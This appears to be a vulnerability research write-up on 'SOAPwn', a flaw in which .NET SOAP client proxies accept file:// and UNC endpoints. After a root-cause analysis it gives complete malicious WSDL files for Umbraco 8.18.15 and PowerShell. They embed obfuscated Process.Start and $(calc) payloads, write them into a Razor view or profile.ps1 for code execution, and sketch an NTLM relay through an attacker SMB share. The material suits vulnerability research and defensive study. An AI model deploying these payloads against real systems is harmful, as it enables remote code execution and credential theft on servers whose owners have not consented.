SOAPwn
.NET SOAP Client Proxy Abuse
Executive Summary
The SOAPwn vulnerability class impacts the .NET Framework SOAP client stack, specifically how SOAP proxies generated from WSDL files handle transport protocols. By design, .NET's HttpWebClientProtocol is expected to operate over HTTP(S). However, due to a flawed type-handling decision in the framework, non-HTTP URI schemes such as file:// and UNC paths are silently accepted and processed.
When applications dynamically import WSDL files (for example, using ServiceDescriptionImporter) and subsequently invoke generated SOAP proxy methods, attackers can weaponize this behavior to achieve arbitrary file writes, NTLM credential relaying, and in many real-world cases remote code execution. The issue is systemic: it affects the .NET Framework itself rather than a single product, and Microsoft has chosen not to patch it, placing responsibility on application developers to implement their own mitigations.
Technical Deep Dive – Root Cause and Exploitation
Root Cause: Unsafe WebRequest Handling in .NET SOAP Clients
The fundamental issue resides in the .NET Framework's HttpWebClientProtocol.GetWebRequest() implementation:
protected override WebRequest GetWebRequest(Uri uri)
{
WebRequest webRequest = base.GetWebRequest(uri); // [1]
HttpWebRequest httpWebRequest = webRequest as HttpWebRequest; // [2]
if (httpWebRequest != null)
{
httpWebRequest.UserAgent = this.UserAgent;
httpWebRequest.AllowAutoRedirect = this.allowAutoRedirect;
httpWebRequest.AutomaticDecompression = (this.enableDecompression ? DecompressionMethods.GZip : DecompressionMethods.None);
httpWebRequest.AllowWriteStreamBuffering = true;
httpWebRequest.SendChunked = false;
if (this.unsafeAuthenticatedConnectionSharing != httpWebRequest.UnsafeAuthenticatedConnectionSharing)
{
httpWebRequest.UnsafeAuthenticatedConnectionSharing = this.unsafeAuthenticatedConnectionSharing;
}
if (this.proxy != null)
{
httpWebRequest.Proxy = this.proxy;
}
if (this.clientCertificates != null && this.clientCertificates.Count > 0)
{
httpWebRequest.ClientCertificates.AddRange(this.clientCertificates);
}
httpWebRequest.CookieContainer = this.cookieJar;
}
return webRequest; // [3]
}Key properties of this logic:
[1]base.GetWebRequest(uri) returns a protocol-specific WebRequest- For file:// URIs, this is a FileWebRequest
[2]The invalid cast to HttpWebRequest fails silently[3]The original WebRequest is returned without scheme validation
As a result, SOAP client code intended for HTTP(S) transparently accepts non-HTTP transports.
PoC || GTFO
Umbraco 8.18.15 (Authenticated) - WIP
Requirements
- Low-privileged user with Editor role
- Access to Forms → Data Sources
Attack Chain
- Import attacker-controlled WSDL via Forms Data Source
- Generated proxy embeds a file:// SOAP endpoint
- Form submission invokes proxy method
- SOAP request is written to disk via FileWebRequest
Notes
- SOAP 1.1 only
- Proxy import confirmed
- Execution via Forms is partially restricted (WIP)
Can import:
<?xml version="1.0" encoding="utf-8"?>
<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}"
xmlns:s="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}">
<types>
<s:schema
elementFormDefault="qualified"
targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}">
<s:element name="poc">
<s:complexType/>
</s:element>
<s:element name="pocResponse">
<s:complexType>
<s:sequence>
<s:element name="pocResult" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</types>
<message name="TestIn">
<part name="parameters" element="tns:poc"/>
</message>
<message name="TestOut">
<part name="parameters" element="tns:pocResponse"/>
</message>
<portType name="TestSoap">
<operation name="poc">
<input message="tns:TestIn"/>
<output message="tns:TestOut"/>
</operation>
</portType>
<binding name="TestSoap" type="tns:TestSoap">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="poc">
<soap:operation
soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}/poc"/>
<input>
<soap:body use="literal"/>
</input>
<output>
<soap:body use="literal"/>
</output>
</operation>
</binding>
<service name="Test">
<port name="TestSoap" binding="tns:TestSoap">
<soap:address location="file:///inetpub/umbraco8/Views/Blog.cshtml"/>
</port>
</service>
</definitions>Should be able to import following WSDL file:
<?xml version="1.0" encoding="utf-8"?>
<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}"
xmlns:s="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">
<types>
<s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">
<s:element name="poc"><s:complexType/></s:element>
<s:element name="pocResponse">
<s:complexType>
<s:sequence>
<s:element name="pocResult" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</types>
<message name="InMsg"><part name="parameters" element="tns:poc"/></message>
<message name="OutMsg"><part name="parameters" element="tns:pocResponse"/></message>
<portType name="SOAPwnMethod">
<operation name="Execute">
<input message="tns:InMsg"/>
<output message="tns:OutMsg"/>
</operation>
</portType>
<binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="Execute">
<soap:operation soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute"/>
<input><soap:body use="literal"/></input>
<output><soap:body use="literal"/></output>
</operation>
</binding>
<service name="SOAPwnService">
<port name="SOAPwnPort" binding="tns:SOAPwnBinding">
<soap:address location="file:///inetpub/umbraco8/Views/Blog.cshtml"/>
</port>
</service>
</definitions>To generate following proxy method:
public class UmbracoPoc : SoapHttpClientProtocol
{
public UmbracoPoc()
{
base.Url = "file:///inetpub/umbraco8/Views/Blog.cshtml";
}
[SoapDocumentMethod("http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute", RequestNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", ResponseNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Wrapped)]
public string Execute()
{
return (string)base.Invoke("Execute", new object[0])[0];
}
}PowerShell – Arbitrary File Write → RCE
PowerShell uses the .NET SOAP client stack when importing web services.
Attack Chain
- Import malicious SOAP proxy
- Trigger method invocation
- SOAP payload written to profile.ps1
- New PowerShell session loads profile
- Arbitrary code execution
PowerShell – NTLM Relay
Attack Chain
- SOAP endpoint uses UNC path (file://///attacker/share)
- Proxy invocation triggers SMB authentication
- NTLM challenge/response captured
- Credentials relayed to another host
PowerShell WSDL file used:
<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:s="http://www.w3.org/2001/XMLSchema"
xmlns:tns="http://tempuri.org/?$(calc)"
targetNamespace="http://tempuri.org/?$(calc)">
<types>
<s:schema targetNamespace="http://tempuri.org/?$(calc)" elementFormDefault="qualified">
<s:element name="Request"><s:complexType/></s:element>
<s:element name="Response">
<s:complexType>
<s:sequence>
<s:element name="Result" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</types>
<message name="InMsg">
<part name="parameters" element="tns:Request"/>
</message>
<message name="OutMsg">
<part name="parameters" element="tns:Response"/>
</message>
<portType name="SOAPwnMethod">
<operation name="poc">
<input message="tns:InMsg"/>
<output message="tns:OutMsg"/>
</operation>
</portType>
<binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="poc">
<soap:operation soapAction="http://tempuri.org/?$(calc)"/>
<input><soap:body use="literal"/></input>
<output><soap:body use="literal"/></output>
</operation>
</binding>
<service name="SOAPwnService">
<port name="SOAPwnMethod" binding="tns:SOAPwnBinding">
<soap:address location="file:///Windows/System32/WindowsPowerShell/v1.0/profile.ps1"/>
<!-- <soap:address location="file://192.168.140.128/relaymeplease"/> -->
</port>
</service>
</definitions>